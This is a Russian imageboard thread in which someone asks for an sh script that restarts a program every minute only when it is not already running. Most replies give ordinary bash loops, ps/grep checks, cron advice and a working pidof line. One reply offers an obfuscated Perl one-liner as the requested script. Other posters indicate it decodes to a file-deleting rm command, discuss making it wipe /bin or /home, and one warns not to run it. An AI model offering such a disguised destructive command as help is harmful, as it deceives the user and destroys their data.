[Ответить в тред] Ответить в тред

02/12/16 - Конкурс визуальных новелл доски /ruvn/
15/11/16 - **НОВЫЙ ФУНКЦИОНАЛ** - Стикеры
09/10/16 - Открыта доска /int/ - International, давайте расскажем о ней!

Check this out!

Новые доски: /2d/ - Аниме/Беседка • /wwe/ - WorldWide Wrestling Universe • /ch/ - Чатики и конфочки • /int/ - International • /ruvn/ - Российские визуальные новеллы • /math/ - Математика • Создай свою

[Назад][Обновить тред][Вниз][Каталог] [ Автообновление ] 30 | 5 | 15
Назад Вниз Каталог Обновить

Аноним 22/04/17 Суб 20:26:53  151526128  
linux.png (27Кб, 294x282)
Ребятки, помогите написать sh скрипт. Нужно перезапускать программу с интервалом в одну минуту и не запускать если программа запущена.
Аноним 22/04/17 Суб 20:27:43  151526194
Плиз
Аноним 22/04/17 Суб 20:34:50  151526711
Бамп
Аноним 22/04/17 Суб 20:37:56  151526924
Бамп
Аноним 22/04/17 Суб 20:38:42  151526978
Помог.
Аноним 22/04/17 Суб 20:41:47  151527218
>>151526128 (OP)

program | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Естественно, вместо program в начале скрипта должно быть имя той программы, которую нужно перезапускать
Аноним 22/04/17 Суб 20:43:19  151527323
>>151527218
Добра тебе анон, джва года искал подобный скрипт. Правда я интервал другой выставил)
Аноним 22/04/17 Суб 20:45:11  151527447
>>151527218
Ебать, ты что, по клавиатуре ебнул головой, погромист?
Аноним 22/04/17 Суб 20:48:13  151527653
>>151527218
Лол манька, уже лет 5 как rm пропатчили и этот скрипт не работает.
Аноним 22/04/17 Суб 20:50:07  151527773
>>151527653
Но если * добавить, то вроде должно работать. Правда этот скрипт надо полностью переписывать для этого
Но можно удалить /bin или /home, например
Аноним 22/04/17 Суб 20:53:54  151528005
>>151527218
Ну толсто
Аноним 22/04/17 Суб 20:54:22  151528036
>>151527218
Ужас какой, это реально выглядит, как набор знаков, при том, что знаю питон, джаву и js.
Аноним 22/04/17 Суб 21:05:47  151528932
>>151528036
Да от этой хуйни просто терминал заглючит
Аноним 22/04/17 Суб 21:14:51  151529627
>>151526128 (OP)
В кронтад кидай просто. Нахуй тебе скрипт?
Аноним 22/04/17 Суб 21:35:53  151531322
>>151529627
Автозапуск записи стрима
Аноним 22/04/17 Суб 21:54:57  151532691
Че за хуйня?
while (true)
do
whatever command
sleep 5
done;
Аноним 22/04/17 Суб 22:47:59  151536443
#!/bin/bash
while :; do 
  wvdial
  sleep 2
done
Аноним 22/04/17 Суб 22:55:25  151536908

смотрим все процессы
ищем нужный
если есть то нихуя
если нет запускаем

#!/bin/bash
while :; do
ps aux | grep названиепроцессадлязапуска | grep -v grep && командадлязапуска
sleep 2
done
Аноним 22/04/17 Суб 22:56:46  151536984
точнее вот так
ps aux | grep названиепроцессадлязапуска | grep -v grep && echo "запущен" || командадлязапуска
Аноним 22/04/17 Суб 22:57:51  151537049
>>151527218
вместо program должно быть cat test test test, если ничего не путаю.
Аноним 22/04/17 Суб 22:59:21  151537157
>>151527218
не запускай эту хуйню
>>151536984
запускай так
#!/bin/bash
while :; do
ps aux | grep названиепроцессадлязапуска | grep -v grep && echo "запущен" || командадлязапуска
sleep 2
done
Аноним 22/04/17 Суб 23:05:18  151537530
14902962618020.webm (3660Кб, 1040x585, 00:00:16)
Аноним 22/04/17 Суб 23:47:32  151539953
>>151536443
Просили на sh, так то. Может это военная астра, на которой заблокирован bash.
Аноним 22/04/17 Суб 23:55:56  151540456
14621019577270.jpg (114Кб, 900x900)
ОП, юзай кронтаб и не еби себе мозги.
На самом деле мне лень скрипт писать.
Аноним 22/04/17 Суб 23:56:44  151540496
>>151526128 (OP)
Так не пробовал
pidof programname>/dev/null||programname
Аноним 23/04/17 Вск 00:00:52  151540751
14621019577270.jpg (114Кб, 900x900)
>>151540456
Оп, если никто тебе не подскажет дай знать, я минут через 15 может вкачусь.
А может и нет
Аноним 23/04/17 Вск 00:03:02  151540863
гугли демоны линукс
Аноним 23/04/17 Вск 00:07:40  151541106
>>151540751
А это >>151540496
не работает, что ли?
Аноним 23/04/17 Вск 00:15:11  151541456
>>151541106
Проверил
#!/bin/sh
pidof gedit>/dev/null || gedit

все работает
Аноним 23/04/17 Вск 01:52:25  151546303
>>151527773

Не полностью. Я уже разобрался, как его модифицировать произвольно
Аноним 23/04/17 Вск 01:57:55  151546534
63006393.jpg (24Кб, 500x277)
>>151541456

Добра тебе, анон! На stackoverflow в аналогичном вопросе все (!) предлагаемые варианты реализованы через циклическую проверку + sleep

[Назад][Обновить тред][Вверх][Каталог] [Реквест разбана] [Подписаться на тред] [ ] 30 | 5 | 15
Назад Вверх Каталог Обновить

Топ тредов
Избранное